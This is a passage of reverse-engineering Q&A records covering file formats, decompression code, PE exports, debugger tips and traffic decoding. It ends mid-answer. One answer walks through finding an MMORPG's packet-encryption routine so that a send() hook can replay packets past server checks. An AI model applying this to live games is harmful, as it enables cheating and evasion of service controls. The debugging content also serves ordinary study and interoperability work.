
    netstat has some blind spots -- it only shows connections at a certain point in time. Therefore, connections which closed quickly and every connection which was closed before or started after the execution of netstat will obviously not be shown.

    \n\n

    A solution for this is to use strace which can help you monitor the connections which created by a process.

    \n\n

    To start a process and monitor its connections:
    \nstrace -f -e trace=network -s 10000 <process [arg1] [arg2] [...]>

    \n\n

    To monitor an already existing process:
    \nstrace -p <pid> -f -e trace=network -s 10000
    \nif you don't know its PID use pidof <processname>

    \n\n

    Then use some grep magic to print only the IP addresses:
    \nstrace -f -e trace=network <process [args...]> 2>&1 | grep -oP 'connect.*inet_addr\\(\"\\K[^\"]+'

    \n\n
    \n\n

    Windows

    \n\n

    In windows you also can use netstat or the improved version of it Get-NetTCPConnection via powershell. But both have the blind spot aforementioned.

    \n\n

    Two recommended solutions for it are:

    \n\n\n\n

    Both have the ability to monitor connections as they open and a nice GUI to show it.

    \n" }, { "Id": "16010", "CreationDate": "2017-08-05T14:40:52.980", "Body": "

    So I'm currently trying to analyze a resource archive file of an old game.

    \n\n

    What I got so far

    \n\n\n\n

    So far, so good. However, this is where it get's tricky. The first twelve bytes of each of those blocks are readable, they are always three uint32.

    \n\n
      \n
    1. Length of the block including this int (either 64 or 120)
      2. \n
    2. Some offset, this seems to link the blocks in a LinkedList style (actually proved that using a small program I wrote).
      3. \n
    3. Offset of the last 4 bytes of this block.
      4. \n
    \n\n

    And this is where I'm currently stuck, since the rest seems to be encrypted/ciphered data. I dumped the data from the 64 and 120 long blocks seperately, without those twelve \"header\" bytes. Each block is seperated by line break.

    \n\n\n\n

    Now there are obviously some repeated patterns here, so I'm thinking that it might be some XOR-ish cipher, though I haven't been able to figure out a key or even a structure.

    \n\n

    What I expect to find in this data

    \n\n\n\n

    Also, I know that these (partial) strings should be in there somewhere in some way or another (got those from the executable):

    \n\n
    data\n../../../data/g\ng/img/inv_Lf._img\ng/img/inv_Rt._img\ng/img/inv_All._img\ng/img/mcUse._img\ng/img/mcTalk._img\ng/img/mcTake._img\ng/img/mcLook._img\ng/img/mcArrow._img\ng/img/fntOtherSpeakers._img\ng/img/fntBig._img\ng/img/fntWhite._img\ng/img/fntYellow._img\ng/img/fntGray._img\n
    \n\n

    That is all I have been able to figure out up to now. Any help in figuring this out would be much appreciated!

    \n\n

    Thank you for your time!

    \n\n

    EDIT: Posted the binary in the comments

    \n", "Title": "Need help with binary file analysis", "Tags": "|binary-analysis|", "Answer": "

    The binary seems to be composed of blocks of zlib compressed data.

    \n
    $ binwalk -B vdrv.dat \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n76            0x4C            Zlib compressed data, best compression\n410855        0x644E7         Zlib compressed data, best compression\n411415        0x64717         Zlib compressed data, best compression\n411833        0x648B9         Zlib compressed data, best compression\n739843        0xB4A03         Zlib compressed data, best compression\n740261        0xB4BA5         Zlib compressed data, best compression\n943653        0xE6625         Zlib compressed data, best compression\n944071        0xE67C7         Zlib compressed data, best compression\n1342964       0x147DF4        Zlib compressed data, best compression\n1343382       0x147F96        Zlib compressed data, best compression\n1715439       0x1A2CEF        Zlib compressed data, best compression\n1715857       0x1A2E91        Zlib compressed data, best compression\n<-snip->\n
    \n

    binwalk treats the following bytes as zlib signatures:

    \n
    #0    beshort        0x7801        Zlib header, no compression\n0    beshort        0x789c        Zlib compressed data, default compression\n0    beshort        0x78da        Zlib compressed data, best compression\n0    beshort        0x785e        Zlib compressed data, compressed\n
    \n

    Entropy plot:

    \n

    \"Entropy

    \n

    When the compressed data at offset 4C is decompressed, the result is a binary blob with some image signatures and string data:

    \n
     $ binwalk 4C\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n89            0x59            JPEG image data, JFIF standard 1.02\n119           0x77            TIFF image data, big-endian, offset of first image directory: 8\n413           0x19D           JPEG image data, JFIF standard 1.02\n6169          0x1819          Copyright string: "Copyright Flag"\n6800          0x1A90          JPEG image data, JFIF standard 1.02\n
    \n
    \n
    Adobe Photoshop 7.0\n2004:10:25 15:02:26\nAdobe_CM\n4Photoshop 3.0\nResolution\nFX Global Lighting Angle\nFX Global Altitude\nPrint Flags\nCopyright Flag\nJapanese Print Flags\nColor Halftone Settings\nColor Transfer Settings\nURL overrides\nICC Untagged Flag\nLayer ID Generator Base\nNew Windows Thumbnail\nVersion compatibility info\nJPEG Quality\n@3$%&C49\n#L#|AJ74N\nM>5..=l5\n/;t>q~{z\n6.r%G60L\n<-snip->\n
    \n

    The presence of readable ASCII strings seems to confirm that the data is compressed and was successfully decompressed. With that being said, binwalk detects roughly 1900 zlib compressed data blocks, with some false positives detected throughout the file. In addition, not all of the compressed blocks may be detected; when I used wxHexEditor to search for byte 0x78DA, more than 3000 matches were found. Either that or binwalk augments its signature scan with additional information or heuristics that I am not aware of to reduce false positives.

    \n

    \"Search

    \n

    The search results differ from the output of the signature scan.

    \n" }, { "Id": "16012", "CreationDate": "2017-08-05T19:05:05.023", "Body": "

    Below is a part of a code that I reversed with repy2exe and I want to understand what it does and especially how to decode the value in the \"secret\" variable:

    \n\n
    using = [\n    'Mg==\\n',\n    'MTA1\\n',\n    'Nzg=\\n',\n    'ODI=\\n',\n    'NzM=\\n',\n    'Njg=\\n',\n    'Nzk=\\n',\n    'OTg=\\n',\n    'ODg=\\n',\n    'Njc=\\n',\n    'Njg=\\n',\n    'ODM=\\n',\n    'MTk=\\n',\n    'MTc=\\n',\n    'MTY=\\n',\n    'MjI=\\n']\nsecret = 'BZh91AY&SY\\xf2\\xbfIg\\x00\\x00\\x01\\x89\\x80\\x05\\x002\\x00\\x08\\x00 \\x00!\\x80\\x0c\\x01[6\\xe2\\xeeH\\xa7\\n\\x12\\x1eW\\xe9,\\xe0'\npas = raw_input('Please Enter The Password:')\na = ''\nfor i in range(len(pas)):\n    a += pas[i]\n\ncoun = 0\nwin = 16 \n
    \n", "Title": "Can anyone help me identify and decode this string?", "Tags": "|disassembly|binary-analysis|python|entropy|", "Answer": "

    Although the code is clearly incomplete, some things can be guessed:

    \n\n

    1) The strings ending with == are most likely base64-encoded (Base64 uses = for padding). Let's try to decode them.

    \n\n

    >>>x = [a.decode('base64') for a in using]
    \n'2', '105', '78', '82', '73', '68', '79', '98', '88', '67', '68', '83', '19', '17', '16', '22']

    \n\n

    So they decode to string representations of some numbers. Not sure if this means anything, we need to see how they're used.

    \n\n

    2) The BZ sequence hints at Bzip2. We can try to decompress it as such:

    \n\n
    >>> import bz2\n>>> bz2.decompress(secret)\n'base64'\n
    \n\n

    And we're back to square one.

    \n" }, { "Id": "16014", "CreationDate": "2017-08-06T05:57:58.480", "Body": "

    Does anyone know how to change the font size in immunity debugger? The font option under Options -> Appearance -> Font doesn't seem to change anything and just resets whenever you restart the program.

    \n", "Title": "Changing the font in immunity debugger?", "Tags": "|immunity-debugger|", "Answer": "

    I solved it like this:

    \n\n\n" }, { "Id": "16021", "CreationDate": "2017-08-06T17:22:41.570", "Body": "

    I've reversed the following decompression algorithm from a game. It appears to be some variant of LZ77, however none of the descriptions of variants seem quite close enough what I've got. Is this a specific flavor of LZ77, and if not, how would I go about creating an equivalent compression method? The files have no header.

    \n\n
    unsigned int decompress(uint8_t *decompressed, uint8_t *compressed)\n{\n    uint32_t distance, length, i, j;\n    uint8_t temp, *compressed_ptr = compressed,\n        *decompressed_ptr = decompressed, *backwards_ptr = NULL;\n\n    while (1)\n    {\n        temp = *(compressed_ptr++);\n        length = (temp & 7) + 1;\n        distance = temp >> 3;\n\n        if (distance == 0x1E)\n            distance = *(compressed_ptr++) + 0x1E;\n        else if (distance > 0x1E)\n        {\n            distance += *compressed_ptr;\n            distance += (*(++compressed_ptr) << 8) + 0xFF;\n            compressed_ptr++;\n            if (distance == 0x1011D)\n                length--;\n        }\n\n        if (distance != 0)\n        {\n            memcpy(decompressed_ptr, compressed_ptr, distance);\n            decompressed_ptr += distance;\n            compressed_ptr += distance;\n        }\n\n        for (i = length; i > 0; i--)\n        {\n            temp = *(compressed_ptr++);\n            length = temp & 7;\n            distance = temp >> 3;\n\n            if (length == 0)\n            {\n                length = *(compressed_ptr++);\n                if (length == 0)\n                {\n                    return (uintptr_t)decompressed_ptr -\n                        (uintptr_t)decompressed;\n                }\n                length += 7;\n            }\n\n            if (distance == 0x1E)\n                distance = *(compressed_ptr++) + 0x1E;\n            else if (distance > 0x1E)\n            {\n                distance += *compressed_ptr;\n                distance += (*(++compressed_ptr) << 8) + 0xFF;\n                compressed_ptr++;\n            }\n\n            backwards_ptr = decompressed_ptr - distance - 1;\n            for (j = length; j > 0; j--)\n                *(decompressed_ptr++) = *(backwards_ptr++);\n        }\n    }\n}\n
    \n", "Title": "What compression algorithm is this?", "Tags": "|decompress|", "Answer": "

    As you say it is an LZ77 style format, however I could not find a specific algorithm which it matches. The compressed data forms a number of blocks, each of which contain at least one of some data, or some back references.

    \n\n

    Format

    \n\n

    Based on the code I've put together a listing of the data structure of the compressed data.

    \n\n

    Block

    \n\n

    The format of each block is as follows:

    \n\n
    Section                | Length\n-----------------------|-------\nHeader                 | 1 to 3 Bytes (see header explanation)\nData                   | 0 to 0x1011D (65821) Bytes\nBack references        | 0 to 8 occurences of 1 to 4 Bytes (see back reference explanation)\n
    \n\n

    Header

    \n\n

    The header is as follows:

    \n\n
    Section                | Length\n-----------------------|-------\nNum Back References    | 3 bits\nData Length            | 5 bits\nAdditional Data Length | 0 to 2 Bytes\n
    \n\n

    The number of back references is encoded into the first 3 bits as a 1 indexed number, allowing a number from 1 (0b000) to 8 (0b111).\nIn the case that more than 8 back references are required a data length of 0 can be set so you can have several consecutive blocks containing only back references.

    \n\n

    The data length is encoded into the next 5 bits.\nIf the data length is less than 0x1E (30) then it is encoded directly into the top 5 bits of the header.\nIf it is between 0x1E and 0x11E (286) then a single additional byte will be used, this byte should be the length of the data - 0x11E.\nIf it is between 0x11E and 0x1011D (65821) then two additional bytes are used as a 16 bit number, which should be the length of the data - 0x11E.

    \n\n

    If the data length is the maximum possible (0x1011D) then the number of back references is reduced by one, allowing 0 back references. This allows consecutive data sections without back references.

    \n\n

    Back reference

    \n\n

    The format of the back references is similar to that of the header:

    \n\n
    Section                | Length\n-----------------------|-------\nData Length            | 3 bits\nData Distance          | 5 bits\nAdditional Data Length | 0 to 1 Byte\nAdditional Distance    | 0 to 2 Bytes\n
    \n\n

    The length of data (in bytes) to which the reference refers is encoded into the first 3 bits, allowing length of 0 - 7.\nIf the length is greater than 7 then these 3 bits are set to 0 and an additional byte is added, containing the length - 7, this allows lengths of up to 262 bytes.

    \n\n

    The distance represents the position of the back reference, in bytes back from the current end of the decompressed data. The distance and additional distance bytes are calculated in the same way as the Data Length in the header.

    \n\n

    When set, each back reference will copy the calculated data length in bytes from current_position - distance - 1 to the output stream.

    \n\n

    There is a special case of a back reference with the length and additional length set to 0. This signifies the end of the stream, and the decompressor will return.

    \n\n

    Reasoning

    \n\n

    The overall format of a block is reasonably evident from the code, however didn't really make sense until I'd worked out the reasoning behind the magic numbers.

    \n\n

    The interesting thing here was the special case of distance = 0x1011D.\nTo get to the branch which checks for that distance the distance from the intial distance = temp >> 3; must be greater than 0x1E, so it must be 0x1F, as no other value above 0x1E would fit in the top 5 bits of temp.\nWith this information we can calculate the necessary values of the next 2 bytes (a, and b):

    \n\n
    0x1011D = 0x1F + a + (b << 8) + 0xFF\n0x1001E = 0x1F + a + (b << 8)\n0x0FFFF = a + (b << 8)\n
    \n\n

    As a and b are 8 bit numbers they must necessarily both be 0xFF.\nThus 0x1011D is the largest possible value for distance at that point.

    \n\n

    The reasoning for the length-- associated with the conditional becomes apparent: This allows for raw data blocks with no back references, for use in cases such as images or other poorly compressible data.

    \n\n

    Other than this, the range of numbers that the Data Length supports can be easily calculated by considering the result of setting temp to 0b11111??? and 0b11110??? and checking the maximum and minimum values of the following two bytes.

    \n\n

    Having understood the block header format the back reference format is fairly easy to understand, the main gotcha being that length = 0 with a following byte of 0 ends the stream.

    \n\n

    Writing a counterpart compression algorithm

    \n\n

    If you do not need the files to fit in the same space as the original files then the easiest way to \"compress\" your own files is to ignore the actual compression features of the format, and do the bare minimum of creating maximum size data blocks until the final block, which will have a single back reference, that being the end of stream signal. A quick implementation of this follows.

    \n\n
    #include <cstring>\n#include <string>\n#include <iostream>\n#include <vector>\n#include <deque>\n#include <fstream>\n#include <iterator>\n\nunsigned int decompress(uint8_t *decompressed, uint8_t *compressed)\n{\n    uint32_t distance, length, i, j;\n    uint8_t temp, *compressed_ptr = compressed,\n            *decompressed_ptr = decompressed, *backwards_ptr = NULL;\n\n    while (1)\n    {\n        temp = *(compressed_ptr++);\n        length = (temp & 7) + 1;\n        distance = temp >> 3;\n\n        if (distance == 0x1E)\n            distance = *(compressed_ptr++) + 0x1E;\n        else if (distance > 0x1E)\n        {\n            distance += *compressed_ptr;\n            distance += (*(++compressed_ptr) << 8) + 0xFF;\n            compressed_ptr++;\n            if (distance == 0x1011D)\n                length--;\n        }\n\n        if (distance != 0)\n        {\n            std::memcpy(decompressed_ptr, compressed_ptr, distance);\n            decompressed_ptr += distance;\n            compressed_ptr += distance;\n        }\n\n        for (i = length; i > 0; i--)\n        {\n            temp = *(compressed_ptr++);\n            length = temp & 7;\n            distance = temp >> 3;\n\n            if (length == 0)\n            {\n                length = *(compressed_ptr++);\n                if (length == 0)\n                {\n                    return (uintptr_t)decompressed_ptr -\n                        (uintptr_t)decompressed;\n                }\n                length += 7;\n            }\n\n            if (distance == 0x1E)\n                distance = *(compressed_ptr++) + 0x1E;\n            else if (distance > 0x1E)\n            {\n                distance += *compressed_ptr;\n                distance += (*(++compressed_ptr) << 8) + 0xFF;\n                compressed_ptr++;\n            }\n\n            backwards_ptr = decompressed_ptr - distance - 1;\n            for (j = length; j > 0; j--)\n                *(decompressed_ptr++) = *(backwards_ptr++);\n        }\n    }\n}\n\nstd::vector<uint8_t> compress(const std::vector<uint8_t>& input)\n{\n    const uint32_t max_distance = 0x1011D;\n    std::vector<uint8_t> output;\n\n    auto input_it = input.begin();\n\n    // Repeat as many max length blocks as we can\n    auto remaining_input = std::distance(input_it, input.end());\n    while(remaining_input > max_distance)\n    {\n        output.push_back(0xF8);\n        output.push_back(0xFF);\n        output.push_back(0xFF);\n        std::copy(input_it, input_it + max_distance, std::back_inserter(output));\n        input_it += max_distance;\n\n        remaining_input = std::distance(input_it, input.end());\n    }\n\n    // Add a final block with the remaining data\n    if(remaining_input > 0x11D)\n    {\n        output.push_back(0xF8);\n        const uint16_t header_bytes = remaining_input - 0x11E;\n        output.push_back(header_bytes & 0xFF);\n        output.push_back(header_bytes >> 8);\n        std::copy(input_it, input.end(), std::back_inserter(output));\n    }\n    else if(remaining_input > 0x1D)\n    {\n        output.push_back(0xF0);\n        const uint8_t header_byte = remaining_input - 0x1E;\n        output.push_back(header_byte);\n        std::copy(input_it, input.end(), std::back_inserter(output));\n    }\n    else\n    {\n        const uint8_t header_byte = remaining_input << 3;\n        output.push_back(header_byte);\n        std::copy(input_it, input.end(), std::back_inserter(output));\n    }\n\n    // Add a special case 0 length back reference to end the stream\n    output.push_back(0x00);\n    output.push_back(0x00);\n\n    return output;\n}\n\nint main(int argc, char* argv[])\n{\n    std::deque<std::string> args(argv, argv+argc);\n    args.pop_front();\n\n    if(args.empty())\n    {\n        std::cerr << \"No input files!\" << std::endl;\n        return 1;\n    }\n\n    for(const auto& filename : args)\n    {\n        std::ifstream in_file(filename, std::ios::in | std::ios::binary);\n        if(!in_file.good())\n        {\n            std::cerr << \"Bad input file: \" << filename << std::endl;\n            return 1;\n        }\n\n        std::cout << \"Compressing \" << filename << std::endl;\n\n        std::vector<uint8_t> input(\n            (std::istreambuf_iterator<char>(in_file)),\n            (std::istreambuf_iterator<char>())\n        );\n\n        auto compressed = compress(input);\n        std::cout << \"Compressed from \" << input.size() << \" to \" << compressed.size() << std::endl;\n\n        const std::string new_filename = filename + \".compres\";\n        std::ofstream out_file(new_filename);\n        out_file.write((char*)compressed.data(), compressed.size());\n        out_file.close();\n        std::cout << \"Saved as \" << new_filename << std::endl;\n\n        const int buffer_length = 2000000;\n        uint8_t buffer[buffer_length];\n\n        const int size = decompress(buffer, compressed.data());\n\n        std::vector<uint8_t> regenerated;\n        regenerated.assign(buffer, buffer + size);\n\n        if(regenerated == input)\n            std::cout << \"Regenerated file matches original.\" << std::endl;\n        else\n            std::cout << \"Regenerated file DOES NOT MATCH original!\" << std::endl;\n    }\n\n    return 0;\n}\n
    \n\n

    Compile: clang++ --std=c++14 -o fake_compress fake_compress.cpp

    \n\n

    And run:

    \n\n
    $ ./fake_compress havok.xml\nCompressing havok.xml\nCompressed from 137261 to 137272\nSaved as havok.xml.compres\nRegenerated file matches original.\n
    \n" }, { "Id": "16023", "CreationDate": "2017-08-06T22:16:05.163", "Body": "

    I'm writing an analog of GetProcAddress function. When looking inside the export table I see the exports like this in advapi32.dll for example:

    \n\n
    .text:4C362BAA aEventregister  db 'EventRegister',0    ; DATA XREF: .text:off_4C35FE10o\n.text:4C362BB8                                         ; Exported entry 1290. EventRegister\n.text:4C362BB8                 public EventRegister\n.text:4C362BB8 EventRegister   db 'ntdll.EtwEventRegister', 0\n
    \n\n

    So it is like a redirect to ntdll function. How to process these entries and how to detect if they lead to another library call?

    \n\n

    Currently I just find the function ordinal by name and get its address, but for exports like this addresses are invalid (inside the address there is junk code).

    \n\n

    Do I need to just read the string ntdll.EtwEventRegister at the ordinal address, split it by dot and get dll/function names?

    \n\n

    If this is the case, how do I detect that the export address is just a string with this dll/function name? I need to somehow check if there is a valid string there, there should be other way, like some flag etc.

    \n", "Title": "Exports that redirects to other library", "Tags": "|disassembly|c|pe|executable|", "Answer": "

    The other two answers are wrong.\nI reversed link.exe and the way it works is that if the \u201cfunction\u201d points into the export directory

    \n
    (NTHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress <= func_ptr < NTHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + NTHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)\n
    \n

    it is a forwarded export (i.e. you will find a string there).

    \n

    The method from the other two answers used to work because the linker used to put the export directory as well as the forward strings into the .data section, but that is no longer the case. Newer linkers put the export directory and the forward strings into the .text section (where all the \u201cactual\u201d functions reside as well), so checking whether the \u201cfunction\u201d is in the same section as the export directory will no longer work.

    \n" }, { "Id": "16027", "CreationDate": "2017-08-07T05:59:56.720", "Body": "

    An executable that access the Internet uses my IP to do so. Is it be possible, with the help of a software or something like that, to change what IP an executable uses to access the Internet? Without the need to change/mask all my system's IP at once. The solution should be able to change a single executable IP, maybe a pack of executables would also work for me.

    \n\n

    I have an executable that sends information to a host, and I need to open 2 or more instances of that executable and need they to reach the host with different IPs.

    \n\n
    My IP -> qqq.qqq.qqq\nExecutable 1 -> xxx.xxx.xxx\nExecutable 2 -> yyy.yyy.yyy\n
    \n\n

    Where Executable 1 and 2 can use proxy, IP that change all the time, doesn't matter -- they just need to reach the host with different IPs.

    \n\n

    Possible easy solution I read once:
    \nCreate a virtual machine and use a proxy software on it, programs from my main computer would use my IP, programs from virtual machine would use proxy software IP

    \n\n

    But if i could avoid this solution, would be nicer.

    \n", "Title": "Change sending IP of only certain executable", "Tags": "|tools|executable|packet|address|", "Answer": "

    Following OP's other questions, assuming Windows OS

    \n\n

    This can be achieved with many 3rd-party solutions for Windows, choose the one which fits best to your needs:

    \n\n

    Proxifier

    \n\n
    \n

    Proxifier allows network applications that do not support working\n through proxy servers to operate through a SOCKS or HTTPS proxy and\n chains.

    \n \n

    https://www.proxifier.com/

    \n
    \n\n

    ProcxyCap

    \n\n
    \n

    ProxyCap enables you to redirect your computer's network connections\n through proxy servers. You can tell ProxyCap which applications will\n connect to the Internet through a proxy and under what circumstances.

    \n \n

    http://www.proxycap.com/

    \n
    \n\n

    ForceBindIP

    \n\n
    \n

    ForceBindIP is a freeware Windows application that will inject itself\n into another application and alter how certain Windows socket calls\n are made, allowing you to force the other application to use a\n specific network interface / IP address. This is useful if you are in\n an environment with multiple interfaces and your application has no\n option to bind to a specific interface.

    \n \n

    https://r1ch.net/projects/forcebindip

    \n
    \n\n
    \n\n

    I used Proxifier in the past for gaming and torrenting purposes and it might be what you're searching for.

    \n" }, { "Id": "16032", "CreationDate": "2017-08-08T04:50:04.517", "Body": "

    I made a DLL that hooks the send function of an MMORPG game. When the send() function is called, it will send the packet in a loop until I stop it instead of just sending the packet one time.

    \n\n

    My problem is the packets are encrypted. And, the server checks every packet sent from the client. If the packet that the server expect does not match from what the client sent, the server will disconnect you. So, even if you disable the encryption code in the client, it will still get verified on the server side.

    \n\n

    I manage to disable the encryption of the packet by modifying the binary but I still get disconnected because of the above statement. And, I can't send it in an infinite loop because each packet should be different.

    \n\n

    Info:

    \n\n\n\n

    Decryption Function

    \n\n
    unsigned short clif_decrypt_cmd( int cmd, struct map_session_data *sd ) {\n  if (sd) {\n    return (cmd ^ ((sd->cryptKey >> 16) & 0x7FFF));\n  }\n  return (cmd ^ ((((clif->cryptKey[0] * clif->cryptKey[1]) + clif->cryptKey[2]) >> 16) & 0x7FFF));\n}\n
    \n\n

    Question:

    \n\n\n", "Title": "Reverse Packet Encryption with server side checks", "Tags": "|ida|disassembly|assembly|ollydbg|debugging|", "Answer": "

    First of all the statement

    \n\n
    \n

    If the packet that the server expect does not match from what the client sent, the server will disconnect you.

    \n
    \n\n

    makes no sense.

    \n\n

    How would the server know what you are going to send to him?
    \nMaybe you ment that the server disconnects you if you malform the packet (change the structure of the packet - or, for example, by disabling the packet encryption - in this case the server would try to decrypt it and would get non interpretable results).

    \n\n

    So to answer your question:

    \n\n

    IMO you have two possible ways to achieve your goal:

    \n\n
      \n
    1. Find the function that creates the packet before it is encrypted and use it to send your own data.
      2. \n
    2. Understand how the network protocol and cryptography of your game works and rebuild it in your own program.
      3. \n
    \n\n

    I'd suggest you use the first option since it's the simpler one. While the second option provides you more flexibility I don't think it's feasable for you since you said but I don't know how to translate them into a higher level language like c++..

    \n\n

    I can only provide you with general instructions since you didn't post much information about your target (name, some assembly snippets, if it uses TCP or UDP, ..):

    \n\n
      \n
    1. Use a dynamic debugger to find the function mentioned in #1. I prefer x64dbg since it works for both, x86 and x64 bit applications.
      2. \n
    2. Set a breakpoint on the socket send function. Which send function is used depends on your game but possible candidates are send, sendto, WSASend and WSASendTo.
      3. \n
    3. Find the used send function by placing a breakpoint on all of them and watch which bp triggers. Now you know which function is used to send the data to the game server. I'll use WSASendTo in this example since it's very common in modern udp applications (I assume your game uses UDP - I could be wrong tho).
      4. \n
    4. As you know by the documentation of WSASendTo the function takes a pointer to one or more WSABUF structures as second argument. Usually it's just one WSABUF.
      5. \n
    5. Since almost every windows api function is a __stdcall the second argument will be at [esp+0x8] when your breakpoint triggers ([esp] is the return address, [esp+0x4] is the first argument _In_ Socket s).
      6. \n
    6. If you use x64dbg you can now follow the pointer to the WSABUF structure \"in dump\" to see the contents of it. You can also follow the return address at [esp] to find the function which called WSASendTo.
      7. \n
    7. You will probably need to restart the game a few times and set new breakpoints on the function which called the windows send function.
      8. \n
    8. At some point you will see that the contents of the buffer change - you said that only the first two bytes are encrypted, so you already know at what to put your eyes at.
      9. \n
    9. At this point you should know which function is responsible for encrypting your data. Maybe this is already all you need - maybe you need to go a bit higher in the calling hierarchy to find the function which actually starts the whole packet create-encrypt-send process.
      10. \n
    \n\n

    Hope that helps!

    \n" }, { "Id": "16034", "CreationDate": "2017-08-08T12:57:21.567", "Body": "

    I'm not an expert in reversing and even though Googling is usually enough, this time I can't find a solution.

    \n\n

    I have this program that calculates a value from some data it received from a server.

    \n\n

    I know the final value and I managed to find it in the memory after the calculation is done, but I want to know which instruction wrote it in the memory.

    \n\n

    Is there a way to do that with IDA Pro? I thought about the trace replayer but I never used it and from what I can read this wouldn't work. If not, is there any other disassembler that would make it possible?

    \n", "Title": "How to find out which instruction wrote to a specific address?", "Tags": "|ida|memory|", "Answer": "

    Cheat Engine is a wonderful dynamic analysis tool for tasks like this. Simply find the memory address storing your value, add it to the address list at the bottom (by double-clicking on it in the results window to the left of the scan box, or click the Add Address Manually button if you have the address to add), then right-click on the address and choose \"Find out what writes to this address,\" as pictured here:

    \n\n

    \"enter

    \n\n

    A window will then pop up showing any instructions that write to the address (note that you may have to make the value change before the instruction shows as writing to the address). Also be mindful of the installer as CE is bundled with \"offers\" you'll most likely want to decline.

    \n" }, { "Id": "16044", "CreationDate": "2017-08-09T09:53:31.423", "Body": "

    I would like to understand better what is that information on \"graphic views\" at the inspector of Hopper Disassembler. I've checked the tutorial but it just skips this section.

    \n\n

    \"Entropy

    \n\n

    Thanks.

    \n", "Title": "How does the 'graphic views' on Hopper Disassembler work?", "Tags": "|disassemblers|ios|hopper|", "Answer": "

    This seems to be a Hilbert curve representation of the binary's entropy values (probably each pixel is averaged over some small byte range). It was likely inspired by this work:

    \n\n

    https://corte.si/posts/visualisation/binvis/index.html

    \n" }, { "Id": "16045", "CreationDate": "2017-08-09T15:31:12.980", "Body": "

    I managed to overcome certificate pinning in an android application and I am now able to view all the HTTPS request in plain text. However, I came across this request that I still do not understand:

    \n\n

    \"enter

    \n\n

    We can see that it is a POST request with some 'junk' data at the bottom. At first, I thought this 'junk' is some form of encrypted data. However, after looking at the decompiled source code, it does not seem to use any form of encryption as shown below.

    \n\n
    @Override\npublic List<byte[]> sendBatch(String serializable, List<byte[]> list) throws AmazonClientException {\n    void var2_7;\n    void var1_3;\n    if (var2_7 == null || var2_7.isEmpty()) {\n        List list2 = Collections.emptyList();\n        return var1_3;\n    } else {\n        PutRecordBatchRequest putRecordBatchRequest = new PutRecordBatchRequest();\n        putRecordBatchRequest.setDeliveryStreamName((String)((Object)serializable));\n        ArrayList<Record> arrayList = new ArrayList<Record>(var2_7.size());\n        for (byte[] arrby : var2_7) {\n            Record record = new Record();\n            record.setData(ByteBuffer.wrap(arrby));\n            arrayList.add(record);\n        }\n        putRecordBatchRequest.setRecords(arrayList);\n        putRecordBatchRequest.getRequestClientOptions().appendUserAgent(this.userAgent);\n        PutRecordBatchResult putRecordBatchResult = this.client.putRecordBatch(putRecordBatchRequest);\n        int n2 = putRecordBatchResult.getRequestResponses().size();\n        ArrayList arrayList2 = new ArrayList(putRecordBatchResult.getFailedPutCount());\n        int n3 = 0;\n        do {\n            ArrayList arrayList3 = arrayList2;\n            if (n3 >= n2) return var1_3;\n            if (putRecordBatchResult.getRequestResponses().get(n3).getErrorCode() != null) {\n                arrayList2.add(var2_7.get(n3));\n            }\n            ++n3;\n        } while (true);\n    }\n}\n
    \n\n

    I searched for the method putRecordBatch and came across the docs: http://docs.aws.amazon.com/firehose/latest/APIReference/API_PutRecordBatch.html\nand realise that the syntax is of the form:

    \n\n
    {\n   \"DeliveryStreamName\": \"string\",\n   \"Records\": [ \n      { \n         \"Data\": blob\n      }\n   ]\n}\n
    \n\n

    where I believe the 'junk' data is simply just another form of the json object above. Is there any way I can convert this junk data to a more readable form?

    \n", "Title": "Need help understanding \"garbage\" data in https request", "Tags": "|android|java|apk|byte-code|https-protocol|", "Answer": "

    The content is encoded with gzip per the Content-encoding header. You can use the decoder in Burp proxy (if that is what you are currently using) to decode the data or by using for intance gunzip in the Linux command line.

    \n" }, { "Id": "16049", "CreationDate": "2017-08-10T04:17:21.003", "Body": "

    A very similar (or exact) question was asked here, though it was not answered properly.

    \n\n

    \"enter

    \n\n

    I am debugging a process in IDA and am unable to view the dynamic contents of the stack because its value points beyond the address shown in IDA's Stack view. My ESP is shown as pointing to 0xFFFFD95C upon entry at main, while the largest address shown by IDA is 0xFEFFFFFC.

    \n\n

    Is there a way to expand this memory range to the end of memory (i.e. 0xFFFFFFFF)?

    \n\n

    For those interested, the binary under test is the ELF Crack Me 1 - Time to learn x86 ASM & gdb challenge over at ringzer0team.com.

    \n", "Title": "ESP out of range of \"Stack View\" in IDA", "Tags": "|ida|debugging|stack|", "Answer": "

    It seems you're using the GDB debugger backend. It does not provide enough information to IDA about available memory ranges, about which you usually get a warning on startup:

    \n\n
    ---------------------------\nInformation\n---------------------------\nThe current debugger backend (gdb) does not provide memory information to IDA.\nTherefore the memory contents may be invisible by default.\nPlease use the Debugger/Manual memory regions menu item to configure the memory layout.\nIt is possible to define just one big region for the whole memory\n(IDA will display question marks for missing memory regions in this case).\n---------------------------\nOK   \n---------------------------\n
    \n\n

    So IDA defaults to 0-0xFF000000 (addresses above 0xFF000000 are used by IDA for internal netnode IDs and may lead to issues if used in actual program). So there are two solutions:

    \n\n
      \n

    1. Edit the memory regions made by IDA (Edit-Manual memory regions...) and add a new one covering the regions you need (e.g. 0 to 0xFFFFFFF0, or a few smaller ones).

      2. \n

    2. Instead of GDB, use IDA's own Linux debugger which can properly query the OS about available memory regions.

      3. \n
    \n" }, { "Id": "16055", "CreationDate": "2017-08-10T15:17:31.277", "Body": "

    I am trying to write an IDAPython script that will return a list of references to a local stack-frame variable. However, I couldn't find any API that does so.

    \n\n

    What I am trying to achieve is a code like:\nxrefs = get_variable_references('arg_4') that will return the results corresponding with the GUI's results:

    \n\n

    \"GUI's

    \n\n

    Thanks in advance.

    \n", "Title": "idapython - Get Xrefs to a stack variable", "Tags": "|ida|disassembly|idapython|disassemblers|idapro-sdk|", "Answer": "

    There is one function that does this: build_stkvar_xrefs, defined in C++ but exposed via the Python SWIG bindings. IDA builds stack xrefs dynamically when you ask for it. In order to use the function, it requires a little bit of setup.

    \n\n

    You'll need to use a few functions to get what you need:

    \n\n\n\n

    Here's an example of how this all ties together:

    \n\n
